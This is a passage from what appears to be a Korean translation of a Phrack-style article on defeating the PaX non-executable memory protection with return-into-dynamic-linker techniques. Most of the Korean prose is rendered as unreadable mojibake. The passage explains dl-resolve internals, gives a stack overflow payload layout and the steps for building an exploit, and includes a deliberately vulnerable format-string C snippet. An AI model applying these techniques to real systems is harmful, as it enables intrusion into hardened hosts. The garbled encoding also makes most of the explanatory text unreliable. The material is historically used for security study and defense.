½ÃÇÇ, ÀÌ ÄÚµåÀÇ ºÎºÐÀº $reloc_offsetÀ» ½ºÅÿ¡ ³Ö°í .plt ¼½¼ÇÀÇ ½ÃÀÛÀ¸·Î ¿Å°Ü°£´Ù. ÀÌ ¸í·É ÈÄ¿¡ Á¦¾î´Â dl-resolve ÇÔ¼ö·Î ¿Å°Ü°£´Ù. reloc_offsetµµ ÀÌ ÇÔ¼öÀÇ ÀÎÀÚ·Î µé¾î°£´Ù. µÎ¹ø° ÀÎÀÚ´Â º° »ó°ü ¾øÁö¸¸ type struct link_map * ÀÌ´Ù. ¾Æ·¡´Â °£´ÜÇÏ°Ô ±¸¼ºÇÑ dl-resolve ¾Ë°í¸®µëÀÌ´Ù. 1) ¸î ¸î ÇÔ¼öÀÇ Àç À§Ä¡ ¿£Æ®¸®¸¦ °è»êÇÑ´Ù. Elf32_Rel * reloc = JMPREL + reloc_offset; 2) ¸î¸î ÇÔ¼öÀÇ symtab ¿£Æ®¸®¸¦ °è»êÇÑ´Ù. Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ]; 3) ¹«°á¼º °Ë»ç assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT); 4) 2.1.x ÀÌÈÄÀÇ glibc ( 2.2.x µµ Æ÷ÇÔ) ¿¡¼­´Â ´Ù¸¥ °Ë»çµµ ÇÑ´Ù. if sym->st_other & 3 != 0, ÀÌ ½Éº¼Àº ±×Àü¿¡ resolve µÈ °ÍÀ¸·Î °¡Á¤ÇÑ´Ù. ±×¸®°í ÀÌ ¾Ë°í¸®ÁòÀº ´Ù¸¥ ¼ø¼­·Î ÁøÇàÇÑ´Ù.( ¾Æ¸¶µµ ¿ì¸® °æ¿ì¿£ SIGSEGV ·Î ³¡³­´Ù.) ¿ì¸®´Â sysm->st_other & 3== 0 ÀÌ µÇµµ·Ï ÇØ¾ß ÇÑ´Ù. 5) symbol ¹öÀü °Ë»ç(ÀÚÁÖ ÇÏ´Â)¸¦ ÇÑ´Ù¸é, ¹öÀü Å×À̺í À妽º¸¦ °áÁ¤ÇÑ´Ù. uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ]; ±×¸®°í ¹öÀü Á¤º¸¸¦ ã´Â´Ù. const struct r_found_version *version =&l->l_versions[ndx]; l °ªÀÌ link_map ÆĶó¹ÌÅÍÀÌ´Ù. ÀÌ Áß¿äÇÑ ºÎºÐÀº ndx °ªÀÌ Á¤´çÇÑ °ªÀ̾î¾ß ÇÏ´Â °ÍÀÌ´Ù. ¾Æ¸¶µµ ·ÎÄà ½Éº¼À» ÀǹÌÇÏ´Â 0 À̾î¾ß ÇÑ´Ù. 6) ÀÌ ÇÔ¼ö( asciiz ¹®ÀÚ¿­·ÎµÈ) ÀÇ À̸§Àº °áÁ¤µÈ´Ù name = STRTAB + sym->st_name; 7) ¼öÁýÇÑ Á¤º¸´Â ¸î ¸î ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ °áÁ¤ÇÏ´Â µ¥ À¯¿ëÇÏ´Ù. Elf32_Addr ÀÇ reloc->r_offset and sym->st_value. µÎ º¯¼ö¿¡ ÀÌ °á°ú°¡ ÀÓ½ÃÀúÀåµÈ´Ù. 8) ½ºÅà Æ÷ÀÎÅ͸¦ Á¶Á¤ÇÏ°í , ´Ù¸¥ ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù. ÁÖÀÇ: glibcÀÇ °æ¿ì ÀÌ ¾Ë°í¸®ÁòÀº dl-runtime-resolve ¿¡¼­ È£ÃâÇÑ fixup ÇÔ¼ö¿¡¼­ ½ÇÇàÇÑ´Ù. ----[ 5.4 - °á·Ð ´ÙÀ½ ó·³ ½ºÅÃÀ» ¿À¹öÇ÷οì ÇÑ´Ù¸é -------------------------------------------------------------------------- | buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ... -------------------------------------------------------------------------- ^ | - this int32 should overwrite saved return address of a vulnerable function ¿ì¸®°¡ ¾Ë¸ÂÀº ( Elf32_Sym Elf32_Rel, °¢°¢) sym °ú reloc º¯¼ö¸¦ ÁغñÇÒ ¼ö ÀÖ´Ù¸é ±×¸®°í reloc_offset À» ¾Ë¸Â°Ô °è»êÇÏ°í ¿ì¸®°¡ Á¦¾îÇÒ ¼ö ÀÖ´Â STRTAB + sym->st_name¿¡¼­ À̸§À» ãÀ» ¼ö ÀÖ´Â ÇÔ¼ö·Î µÇ¸é ÀÎÀÚ´Â arg1, arg2 ´Â ¾Ë¸Â°Ô À§Ä¡ÇÏ°í ¿ì¸®´Â ´Ù¸¥ ÇÔ¼ö·Î ¸®ÅÏÇÒ ±âȸ°¡ »ý±ä´Ù. À§ÀÇ ±â¼úÀ» Àû¿ëÇÑ dl-resolve.c¼Ò½º¸¦ Ãß°¡Çß´Ù.ÄÄÆÄÀÏÀ» µÎ¹øÇØ¾ß ÇÑ´Ù. ( README.code ÀÇ ÁÖ¼®À» Àß º¸¶ó.) --[ 6 - PaX ¹«·ÂÈ­ ½ÃÅ°±â ----[ 6.1 - ÇÊ¿ä»çÇ× 5Àå¿¡¼­ ¾ê±âÇÑ dl ·Î ¸®ÅÏÇÏ´Â ±â¼úÀ» »ç¿ëÇÏ·Á¸é ¾Ë¸ÂÀº À§Ä¡¿¡ ¸î°¡Áö ±¸Á¶Ã¼µéÀ» À§Ä¡½ÃÅ°´Â°Ô ÇÊ¿äÇÏ´Ù. ¼±ÅÃÇÑ À§Ä¡·Î ¹ÙÀÌÆ® °ªÀ» À̵¿½Ãų¼ö ÀÖ´Â ÇÔ¼ö°¡ ÇÊ¿äÇÏ´Ù. È®½ÇÇÑ ¼±ÅÃÀº strcpy, strncpy, sprintf ¶Ç´Â ÀÌ¿Í ºñ½ÁÇÑ ÀÏÀ» ÇÏ´Â ÇÔ¼öµéÀÌ´Ù. ±×·¡¼­ [3] ó·³ °ø°ÝÇÒ ÇÁ·Î±×·¥ÀÇ À̹ÌÁö¾È¿¡¼­ strcpyÀÇ PLT ¿£Æ®¸®°¡ ÇÊ¿äÇÏ´Ù. dl ·Î ¸®ÅÏÇÏ´Â ±â¼úÀº ¶óÀ̺귯¸®¸¦ ³­¼ö ÁÖ¼Ò¿¡ ¸ÊÇÎÇÏ´Â ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ½ºÅÿ¡ °üÇÑ ¹®Á¦°¡ ³²¾ÆÀÖ´Ù, ¸¸¾à ¿À¹öÇÃ·Î¿ì ºÎºÐÀÌ ½ºÅÿ¡ ÀÖ´Ù¸é, ±× ÁÖ¼Ò´Â ¾Ë ¼ö°¡ ¾ø´Ù. ±×¸®°í ( 3.3À» º¸¶ó.) strcpy ¸¦ °¡Áö°í 0À» ³ÖÀ» ¼ö´Â ¾ø´Ù. ºÒÇàÇÏ°Ôµµ ÀϹÝÀûÀÎ ÇØ°áÃ¥À» ãÀ» ¼ö ¾ø¾ú´Ù. °¡´ÉÇÑ ¹æ¹ýÀÌ ÀÖÁö¸¸ 1) ¸¸¾à scanf ÇÔ¼ö°¡ PLT ¿¡¼­ »ç¿ëÇÒ ¼ö ÀÖ´Ù¸é ´ÙÀ½°ú °°Àº °É ½ÇÇà½Ãų ¼ö ÀÖ´Ù. scanf("%s\n",fixed_location) Á¤ÇØÁø À§Ä¡¿¡ ¾Ë¸ÂÀº ³»¿ëÀ» stdin¿¡¼­ ÀÔ·Â ¹Þ¾Æ º¹»çÇÏ´Â ºÎºÐÀÌ´Ù. ÇÁ·¹ÀÓ ¼ÓÀ̱⠱â¼úÀ» »ç¿ëÇÒ¶§, µû·Î ¶³¾îÁ® ÀÖÀ» ¼ö ÀÖ´Ù. ±×·¡¼­ ÇÁ·¹ÀÓÀ¸·Î °íÁ¤µÈ À§Ä¡¸¦ »ç¿ëÇÑ´Ù. 2) ¸¸¾à °ø°ÝÇÒ ¹ÙÀ̳ʸ®°¡ -fomit-frame-pointer ¸¦ »ç¿ëÇØ ÄÄÆÄÀÏ Çß´Ù¸é, %esp ¸¦ ¸ð¸£´õ¶óµµ esp lifting ±â¼úÀ» ÀÌ¿ëÇؼ­ ¿©·¯°³ÀÇ strcpy ÇÔ¼ö¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ( 3.2 ÀÇ ³¡ºÎºÐÀ» Âü°íÇ϶ó. ) n¹ø° strcpy ´Â ´ÙÀ½°ú °°Àº ÀÎÀÚ¸¦ °¡Áö°í ÀÖÀ» °ÍÀÌ´Ù. strcpy(fixed_location+n, a_pointer_within_program_image) ÀÌ ¹æ¹ýÀ¸·Î byte Â÷·Ê·Î °íÁ¤µÈ À§Ä¡¿¡ ¾Ë¸ÂÀº ÇÁ·¹ÀÓµéÀ» ±¸¼ºÇÒ ¼ö ÀÖ´Ù. ÀÌ°ÍÀÌ ³¡³µÀ»¶§, 3.3 ÀÇ ³¡ºÎºÐÀÇ esp lifting ¿¡¼­ ÇÁ·¹ÀÓ ¼ÓÀ̱â·Î ¿Å°Ü °¥ ¼ö ÀÖ´Ù. ÀÌ¿Í ºñ½ÁÇÑ ¹æ¹ýÀ» ¸¸µé ¼ö ÀÖÁö¸¸ »ç½Ç º°·Î ÇÊ¿äÄ£ ¾Ê´Ù. ¾ÆÁÖ ÀÛÀº ÇÁ·Î±×·¥µµ ¾à°£ÀÇ »ç¿ëÀÚ°¡ Á¦¾îÇÒ ¼ö ÀÖ´Â ÀڷḦÁ¤ÀûÀ̰ųª mallocº¯¼ö·Î ÇÒ´çµÈ º¹»çÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù. µû¶ó¼­ À§ÀÇ ¹æ¹ý´ë·Î ÇÒ ÇÊ¿ä´Â ¾ø´Ù. Á¤¸®ÇÏÀÚ¸é, µÎ°¡Áö Á¶°ÇµéÀÌ ÇÊ¿äÇÏ´Ù. 6.1.1) PLT ¸¦ ÀÌ¿ëÇØ strcpy³ª ( strncpy ¶Ç´Â sprintf) °¡ »ç¿ë°¡´ÉÇØ¾ß ÇÑ´Ù. 6.1.2) ÀϹÝÀûÀÎ ½ÇÇàÀ» ÇÏ´Â µ¿¾È, °ø°ÝÇÒ ¹ÙÀ̳ʸ®´Â Á¤Àû( ÀÌÂÊÀÌ Á» ¸¹ÀÌ »ç¿ëµÈ´Ù) º¯¼ö³ª mallco À¸·Î ÇÒ´çµÈ º¯¼ö¿¡ µ¥ÀÌŸ¸¦ º¹»çÇÑ´Ù. ----[ 6.2 - exploit ¸¸µé±â dl-resolve.c ¾ÈÀÇ ¿¹Á¦ Äڵ带 ÀÌ¿ëÇØ ¿¹Á¦ exploit À» ¸¸µé¾î º»´Ù. mmap( ret-into-dl À» »ç¿ëÇؼ­ mmap À» È£Ãâ ÇÒ ¼ö ÀÖÀ¸¸é) À¸·Î rwx( read, write, execute) ÇÒ ¼ö ÀÖ´Â ¸Þ¸ð¸®°¡ ÁغñµÇ¸é shellcode ¸¦ º¹»çÇÏ°í º¹»çÇÑ shellcode ·Î ¸®ÅÏÇÑ´Ù. °ø°ÝÇÒ ¹ÙÀ̳ʸ®°¡ -fomit-frame-pointer ¿É¼Ç ¾øÀÌ ÄÄÆÄÀÏ µÈ °æ¿ì¿Í ÇÁ·¹ÀÓ ¼ÓÀ̱⠹æ¹ýÀ» À̾߱â ÇØ º»´Ù. ¾Ë¸Â°Ô À§Ä¡µÇ°í °ü·ÃÀÖ´Â 3°³ÀÇ ±¸Á¶µéÀÌ ÇÊ¿äÇÏ´Ù. 1) Elf32_Rel reloc 2) Elf32_Sym sym 3) unsigned short verind (which should be 0) verind ÀÇ ÁÖ¼Ò¿Í sym ÀÌ ¾î¶»°Ô °ü·ÁÀÌ ÀÖÀ»°¡? ELF32_R_SYM ÀÇ °ªÀ» "real_index"¿¡ ÇÒ´çÇØ ÁÖÀÚ. sym is at SYMTAB+real_index*sizeof(Elf32_Sym) verind is at VERSYM+real_index*sizeof(short) .data ȤÀº .bss ¼½¼Ç¿¡ verind °¡ À§Ä¡ÇÏ´Â°Ô ´ç¿¬ÇÑµí º¸ÀδÙ. ±×¸®°í µÎ°³ÀÇ strcpy ÇÔ¼ö¸¦ ¹«·ÂÈ­ ½ÃŲ´Ù. ÀÌ °æ¿ì real_index °ªÀ» Á» ´õ Ä¿Áø´Ù. Elf32_sym ÀÇ »çÀÌÁî°¡ 16 Àε¥ short ÀÇ »çÀÌÁî º¸´Ù Ä¿¾ß ÇϹǷΠÇÁ·Î¼¼½ºÀÇ µ¥ÀÌÅÍ ¿µ¿ª ¹ÛÀÇ ÁÖ¼Ò¸¦ sym °ª¿¡ ÇÒ´çÇØ¾ß ÇÑ´Ù. Á¶±×¸¸ dl-resolve.c ¿¡¼­ ¸î ¸¸°³ÀÇ byte (RQSIZE)°ªÀ» ÇÒ´çÇÑ ÀÌÀ¯ÀÌ´Ù. MALLOC_TOP_PAD ȯ°æ º¯¼ö¸¦ ¼¼ÆÃÇؼ­ ÇÁ·Î¼¼½ºÀÇ µ¥ÀÌÅÍ ¿µ¿ªÀ» ¾Ë¸Â°Ô Å°¿ï ¼ö ÀÖ´Ù. ( traceroute exploit ¿¡¼­µµ »ç¿ë µÇ¾úÁÒ.) ±×·¯³ª ÀÌ °Ç local ÀͽºÇ÷ÎÀÕ¿¡¸¸ »ç¿ëµÈ´Ù. ´ë½ÅÀÌ Á» ´õ ÀϹÝÀûÀÎ ¹æ¹ýÀ» ¼±ÅÃÇÒ °ÍÀÌ´Ù. verind °ªÀ» ´õ ³·Àº °÷¿¡ À§Ä¡ ½ÃŲ´Ù. ¶§¶§·Î read-only ·Î ¼³Á¤µÈ À§Ä¡¿¡ ±×·¡¼­ null °ªÀ» ãÀ» ÇÊ¿ä°¡ ÀÖ´Ù. verind À§Ä¡¸¦ ÀÌ¿ëÇؼ­ °áÁ¤µÈ ÁÖ¼Ò¿¡ sym ±¸Á¶¸¦ Àç À§Ä¡ ½ÃŲ´Ù. ¾î¶»°Ô ¾îµð¼­ null °ªÀ» ãÀ»±î? °ø°ÝÇÒ ÇÁ·Î±×·¥ÀÌ ´Ù¿î µÇ±â Àü¿¡ /proc/pid/maps ¸¦ ÀÌ¿ëÇؼ­ ¾µ ¼ö ÀÖ°Ô ¼³Á¤µÈ ¸Þ¸ð¸® ¿µ¿ªÀÇ °æ°è¸¦ °áÁ¤ÇÑ´Ù. ( ½ÇÇ࿵¿ªÀÇ µ¥ÀÌÅÍ ¿µ¿ª) ¿À¹öÇ÷ο찡 ÀϾ¶§. ±×·¡¼­ ³·Àº °ª°ú ³ôÀº °ª ¾È¿¡ ÁÖ¼Ò¸¦ À§Ä¡½ÃŲ´Ù. sym ±¸Á¶¸¦ ±×°÷¿¡ º¹»çÇÑ´Ù. °£´ÜÇÑ ÇÏ°Ô °è»êÇϸé real_index ´Â [(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16] ±×·¡¼­ [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8] Àû´çÇÑ verind ¸¦ ã°í µ¡ºÙ¿© ´ÙÀ½ °ÍÀ» °Ë»çÇÑ´Ù. 1) sym ÁÖ¼Ò´Â ¿ì¸®ÀÇ ¼ÓÀÎ ÇÁ·¹ÀÓ°ú ÁÖ¼Ò°¡ °°Àº ºÎºÐÀÌ ¾ø¾î¾ß ÇÑ´Ù. 2) sym ÁÖ¼Ò´Â strcpy ÀÇ GOT entry °ªÀº ³»ºÎ liner Á¤º¸¸¦ µ¤¾î ¾²Áö ¾Ê¾Æ¾ß ÇÑ´Ù. 3) ½ºÅà Æ÷ÀÎÅÍ°¡ Á¤Àû µ¥ÀÌÅÍ ¿µ¿ªÀ¸·Î ³Ñ¾î°¡´Â Á¡À» ±â¾ïÇÏÀÚ. µ¿Àû ¸µÄ¿ ÇÁ·Î½ÃÁ®·Î ½ºÅà ÇÁ·¹ÀÓ¿¡ ´ëÇÑ ÃæºÐÇÑ °ø°£ÀÌ ÀÖ´Ù. ÇÁ·¹ÀÓ ¼ÓÀ̱⸦ ÇÑ´ÙÀ½ symÀ» À§Ä¡ ½ÃÅ°´Â °Ô ÁÁ´Ù. Á¶¾ð: gdb¸¦ »ç¿ëÇؼ­ ¾Ë¸ÂÀº null °ªÀ» ã´Â °Íµµ ÁÁ´Ù. objdump -s ¿É¼ÇÀ» »ç¿ëÇϱ⠺¸´Ù´Â objdump ÀÇ °æ¿ì´Â .rodata ¼½¼Ç ÀÌÈÄÀÇ ¸Þ¸ð¸®¸¦ º¸¿©ÁÖÁö ¾Ê´Â´Ù. pax.c ¿¡ ´ëÀÀÇÏ´Â ex-pax.c ¸¦ ÷ºÎÇß´Ù. vuln.c ¿Í pax.cÀÇ Â÷ÀÌ´Â pax.c °¡ Á¤ÀûÀÎ ¹öÆÛ¿¡ ȯ°æº¯¼ö¸¦ º¹»çÇÑ´Ù´Â Á¡ÀÌ´Ù. --[ 7 - ±âŸ ----[ 7.1 - À̽ļº ¸®´ª½º ±â¹Ý¿¡¼­ Pax °¡ ÀÛµ¿ÇϹǷÎ, ÀÌ ¹®¼­´Â ¸®´ª½º¸¦ Áß½ÉÀ¸·Î ½è´Ù. ±×·¯³ª ¾Õ¿¡¼­ ¼³¸íÇÑ ±â¼úµéÀº OS ÀÚü¿¡ µ¶¸³ÀûÀÌ´Ù. ½ºÅà °ú ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ , C È£Ãâ ¹æ¹ýµé, ELF ¸í¼¼ - ÀÌ ¸ðµç Á¤ÀǵéÀÌ ³Î¸® ¾²ÀÌ°í ÀÖ´Ù. Ưº°È÷ ¿¹¸¦ µé¾îº¸¸é dl-resolve.c ´Â solaris x86 ¹öÀü°ú FreeBSD¿¡¼­ ¼º°øÀûÀ¸·Î µ¿ÀÛÇß´Ù. ÀÚ¼¼ÇÏ°Ô ¾ê±âÇÑ´Ù¸é, mmap ÀÇ 4¹ø° ÀÎÀÚ°ªÀ» Á¶Á¤ÇÒ ÇÊ¿ä°¡ ÀÖ¾ú´Ù. BSD ½Ã½ºÅÛ¿¡¼­ MAP_ANON °ªÀÌ ´Ù¸¥ °Íó·³ ÀÌ °æ¿ì ÀÌ µÎ°³ÀÇ ¿î¿µÃ¼Á¦ÀÇ °æ¿ì µ¿Àû ¸µÄ¿´Â symbol ¹öÀü¿¡ ´ëÇØ ¿µÇâÀ» ¹ÞÁö ¾Ê¾Æ¼­ ret-into-dl Àº ´õ ½±´Ù. ----[ 7.2 - ´Ù¸¥ Á¾·ùÀÇ Ãë¾àÁ¡µé ¾ÕÀÇ ¸ðµç ±â¼úÀº ½ºÅñâ¹Ý ¹öÆÛ ¿À¹öÇ÷οìÀÌ´Ù. ¸ðµç, ¾î´À °÷À¸·Î º¹±ÍÇÏ´Â ÀͽºÇ÷ÎÀÕÀº single overflow ´Â %eip Áï RET ¸¸À» º¯È­½ÃÅ°´Â °Í »Ó¸¸ ¾Æ´Ï¶ó ½ºÅÃÀÇ À­ÀÇ RET ´ÙÀ½ºÎºÐ¿¡ ÀÖ´Â RET ÀÎÀÚ °ªµéµéÀ» º¯È­½ÃÄÑ¾ß ÇÑ´Ù. µÎ°³ÀÇ Ä¿´Ù¶õ Ãë¾àÁ¡¿¡ ´ëÇØ ¾ê±âÇØ º¸ÀÚ. malloc ÀÌ Á¦¾îÇÏ´Â ±¸Á¶ÀÇ º¯°æ À̳ª Æ÷¸Ë½ºÆ®¸µ °ø°Ý, ¾ÕÀÇ °ø°ÝÀº ÀÓÀÇÀÇ °ªÀ¸·Î ÀÓÀÇÀÇ int °ªÀ» µ¤¾î½á¾ß µÇ±â ¶§¹®¿¡ PaXÀÇ ¹æ¾îüÁ¦¸¦ ¿ìȸÇϱⰡ Èûµé´Ù. ´ÙÀ½ Æ÷¸Ë½ºÆ®¸µÀÇ °æ¿ì ÀÓÀÇÀÇ ¹ÙÀÌÆ®µéÀ» ¹Ù²Ü ¼ö Àֱ⠶§¹®¿¡ ¸¸¾à %ebp, %eip ºÎºÐÀ» µ¤¾î ¾µ ¼ö ÀÖ´Ù¸é ÃæºÐÇÏ´Ù. ±×·¯³ª ±âÁØ stack Æ÷ÀÎÅÍ°¡ ³­¼öÈ­µÇ¹Ç·Î ¾î¶² ÇÁ·¹ÀÓÀÇ ÁÖ¼ÒÀÎÁö °áÁ¤ Çϱâ Èûµé´Ù. *** ( ÁÖÁ¦¿¡¼­ Á» ¹þ¾î³ª±ä ÇÏÁö¸¸: saved FP ´Â %hn ÀÇ ÀÎÀÚ°ªÀ¸·Î »ç¿ëµÉ ¼ö ÀÖ´Ù. ±×·¯³ª ¼º°øÀûÀÎ °ø°ÝÀº 3°³ÀÇ ÇÔ¼ö¸¦ Á¶ÀÛÇÏ´Â°Ô ÇÊ¿äÇÏ¸ç »ç¿ëÀÚ°¡ Á¶ÀÛÇÑ 64KB ¹öÆÛ¸¦ ¾Ë¸ÂÀº À§Ä¡¿¡ µÎ´Â °Íµµ ÇÊ¿äÇÏ´Ù.) *** ´ÜÁö %eip ¸¦ Á¶Á¤Çϱ⸸À» ¿øÇÑ´Ù¸é GOT ¿£Æ®¸® ºÎºÐ¸¸ º¯È­½ÃÅ°¸é µÈ´Ù´Â °Ç PaX ½Ã½ºÅÛÀ» °ø°ÝÇϱ⿣ ¸¹ÀÌ ºÎÁ·ÇÏ´Ù. ±×·¯³ª À§ÀÇ ½Ã³ª¸®¿À°¡ °¡´ÉÇÑ °æ¿ìµµ ÀÖ´Ù. 3°¡Áö Á¶°ÇÀ» »ý°¢ÇØ º¸ÀÚ. 1) °ø°ÝÇÒ ÇÁ·Î±×·¥ÀÌ -fomit-frame-pointer·Î ÄÄÆÄÀÏ µÇ¾úÀ»¶§ 2) ¿ì¸®°¡ ³»¿ëÀ» Á¶ÀÛÇÒ ¼ö ÀÖ´Â stack buffer ¸¦ ÇÒ´çÇÏ´Â ÇÔ¼ö°¡ ÀÖÀ»¶§ 3) Æ÷¸Ë ½ºÆ®¸µ ¹ö±×³ª À߸øµÈ free ¹ö±×°¡ ÀÖ´Â f2 ÇÔ¼ö°¡ ÀÖ°í °£Á¢ÀûÀ¸·Î f1¿¡¼­ f2¸¦ ºÎ¸¦¶§ Ãë¾à Äڵ带 °£´ÜÇÏ°Ô ÀûÀ¸¸é void f2(char * buf) { printf(buf); // format bug here some_libc_function(); } void f1(char * user_controlled) { char buf[1024]; buf[0] = 0; strncat(buf, user_controlled, sizeof(buf)-1); f2(buf); } f1ÀÌ È£Ã⠵Ǹé, format string °ø°ÝÀ¸·Î ¾Æ·¡¿Í °°Àº Äڵ带 °¡Áø ÁÖ¼ÒÀÇ libc ÇÔ¼öÀÇ GOT ¿£Æ®¸®¸¦ ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù. addl $imm, %esp ret ¸»ÇÏÀÚ¸é ÇÔ¼öÀÇ ³¡¿¡¼­ ³ª¿Â´Ù. ÀÌ °æ¿ì ¸î°³ÀÇ libc ÇÔ¼ö°¡ È£ÃâµÉ¶§ addl $imm, %esp ¸í·ÉÀÌ %esp ¸¦ º¯È­½ÃŲ´Ù. $imm À» ¾Ë¸ÂÀº °ªÀ¸·Î Á¤Çß´Ù¸é %esp ´Â »ç¿ëÀÚ°¡ Á¶ÀÛ°¡´ÉÇÑ buf º¯¼ö¸¦ °¡¸®Å³ ¼ö ÀÖ´Ù. ÀÌ ¶§ ½ºÅà ¹öÆÛ ¿À¹öÇ÷οì¶û »óÅ°¡ ºñ½ÁÇÏ´Ù. ret-into-dl À» ÀÌ¿ëÇؼ­ ÇÔ¼öµéÀ» Â÷·Ê·Î ½ÇÇà½Ãų ¼ö ÀÖ´Ù. ´Ù¸¥ °æ¿ì ÇÑ ¹ÙÀÌÆ®·Î ¿À¹öÇÃ·Î¿ì µÈ´Ù¸é ±× ¿À¹öÇ÷οì´Â saved frame pointer ¸¦ Áß¿ä ¹ÙÀÌÆ®¸¦ ¹«È¿È­½ÃŲ´Ù. µÎ¹ø° ÇÔ¼ö°¡ º¹±ÍÇÑ ÈÄ¿¡, °ø°ÝÀÚ´Â ½ºÅÿ¡´ëÇÑ ¿ÏÀüÇÑ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ´Ù. ¾Õ ¼­ ¼³¸íÇÑ ±â¼úÀ» »ç¿ëÇؼ­ ----[ 7.3 - ´Ù¸¥ non-exec ÇØ°áÃ¥ 2°¡Áö ´Ù¸¥ ÇØ°áÃ¥À» »ý°¢ÇØ ºÃ´Ù. ¸ðµç data°¡ Á¸ÀçÇÏ´Â ºÎºÐÀ» non-exec ÇÑ´Ù¸é ±× ¿¹·Î RSX [10]À» Âü°íÇÏÀÚ. ±×·¯³ª ÀÌ ÇØ°áÃ¥Àº ½ºÅðú ¶óÀ̺귯¸® ³­¼öÈ­¸¦ ±¸ÇöÇÏÁö ¸øÇß´Ù. ±×·¡¼­ ¿©·¯ ÇÔ¼ö Â÷·Ê·Î È£ÃâÇÏ´Â ¹æ¹ý¸¸ »ç¿ëÇÏ¸é µÈ´Ù. ÀÓÀÇÀÇ Äڵ带 ½ÇÇàÇÑ´Ù¸é Á» ´õ ³ë·ÂÀ» ÇØ¾ß ÇÑ´Ù. RSX ¿¡¼­´Â ¾²±â °¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ª¿¡ ½ÇÇàÀ» ¸øÇÏ°Ô ÇÏ´Â ¹æ¹ý Áß¿¡ Çϳª¿¡´Â ±×·¡¼­ mmap ÀÌ ÀÛµ¿ÇÏÁö ¾Ê´Â ±×·¯³ª ¾î¶² non-exec ¹æ¹ýÀÇ °æ¿ìµµ °øÀ¯ ¶óÀ̺귯¸®ÀÇ Äڵ带 ½ÇÇàÇÏ´Â °É Çã¿ëÇؾßÇÑ´Ù. RSX °æ¿ì ½©Äڵ带 Æ÷ÇÔÇÏ´Â ÆÄÀÏÀ» mmap ÇÏ´Â °É·Î ÃæºÐÇÏ´Ù. remote °ø°ÝÀÇ °æ¿ìµµ Â÷·Ê·Î ÀÛµ¿µÇ´Â ÇÔ¼ö·Î ¸ÕÀú ÆÄÀÏÀ» ¸¸µé ¼ö ÀÖ´Ù. (?) µÎ¹ø° ÇØ°áÃ¥Àº kNoX[11] RSX¿Í ºñ½ÁÇÑ °Í¿¡ ´ëÇÑ ´ëÃ¥ÀÌ´Ù ÀÌ °Ç ¸ðµç ¶óÀ̺귯¸®¸¦ 0x00110000 ¿¡¼­ ½ÃÀÛÇÏ°Ô ÇØ ³õ¾Ò´Ù. ¼Ö¶ó µðÀÚÀ̳ÊÀÇ ÆÐÄ¡ ó·³ 3.4 ÀÇ ³¡ºÎºÐ¿¡¼­ ¾ê±âÇÑ °Íó·³ ÀÌ·¸°Ô ¸·´Â °Íµµ º° ¾µ¸ð°¡ ¾ø´Ù. ----[ 7.4 - non-exec ¹æ¹ý ¹ßÀü½ÃÅ°±â ºÒÇàÀÎÁö ´ÙÇàÀÎÁö, À§ÀÇ ±â¼úÀ» ¸·´Â ¹æ¹ýÀ» ãÁö¸¦ ¸øÇß´Ù. ºÐ¸íÇÏ°Ô ELF Ç¥ÁØ ±â¼ú ¹®¼­´Â °ø°ÝÀÚ¿¡¼­ À¯¸®ÇÑ ³Ê¹« ¸¹Àº ºÎºÐÀ» ¼³Á¤Çß´Ù. È®½ÇÈ÷ ¾ÕÀÇ ±â¼ú Áß¿¡ ¸î°³´Â ÀÛµ¿ÀÌ Àß ¾È µÉ °ÍÀÌ´Ù. ¿¹¸¦ µé¸é PROT_EXEC °¡ ÀÖÀ»¶§ MAP_FIXED flag ¸¦ ¸øÇϵµ·Ï ÆÐÄ¡¸¦ ÇÒ ¼ö ÀÖ´Ù. ±×·¸Áö¸¸ ÀÌ °Íµµ °øÀ¯ ¶óÀ̺귯¸®¿¡¼­ ÀÛµ¿ÇÏ´Â °Ç ¸·Áö ¸øÇÑ´Ù. Á¸ÀçÇÑ´Â ÀͽºÇ÷ÎÀÕÀ» ¸·À» ¼ö ÀÖÁö¸¸ ±×·¯³ª ÀÌ ÇȽº´Â ¿©·¯°³ÀÇ ÇÔ¼ö¸¦ »ç¿ëÇϴµ¥ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ´Ù¸¥ °üÁ¡À¸·Î, PaX ¸¦ »ç¿ëÇÑ´Ù´Â °Ç ¼º°øÀûÀÎ °ø°ÝÀ» ´õ ¾î·Æ°Ô ¸¸µé °Å³ª ¾Æ¿¹ ºÒ°¡´ÉÇÏ°Ô ÇÒ ¼ö ÀÖ´Ù. PaX ¾ÈÁ¤È­°¡ Á» ´õ µÇ¸é, »ç¿ëÇÏ´Â°Ô ÀÌ·Î¿ï °ÍÀÌ°í ÇϳªÀÇ º¸¾È °èÃþÀÌ µÉ °ÍÀÌ´Ù. ----[ 7.5 - »ç¿ë ¹öÀü ¾Æ·¡ ¹öÀü¿¡¼­ °Ë»çÇØ º¸¾Ò´Ù. pax-linux-2.4.16.patch kNoX-2.2.20-pre6.tar.gz rsx.tar.gz for kernel 2.4.5 2.4 ¿¡¼­ Äڵ带 Å×½ºÆ®Çصµ µÇÁö¸¸ ¸î °³ÀÇ ÃÖÀûÈ­ ¶§¹®¿¡ 2.2 ¿¡¼­´Â ÀÛµ¿ÀÌ ¾È µÉ °ÍÀÌ´Ù. --[ 8 - Referenced publications and projects [1] Aleph One the article in phrack 49 that everybody quotes [2] Solar Designer "Getting around non-executable stack (and fix)" http://www.securityfocus.com/archive/1/7480 [3] Rafal Wojtczuk "Defeating Solar Designer non-executable stack patch" http://www.securityfocus.com/archive/1/8470 [4] John McDonald "Defeating Solaris/SPARC Non-Executable Stack Protection" http://www.securityfocus.com/archive/1/12734 [5] Tim Newsham "non-exec stack" 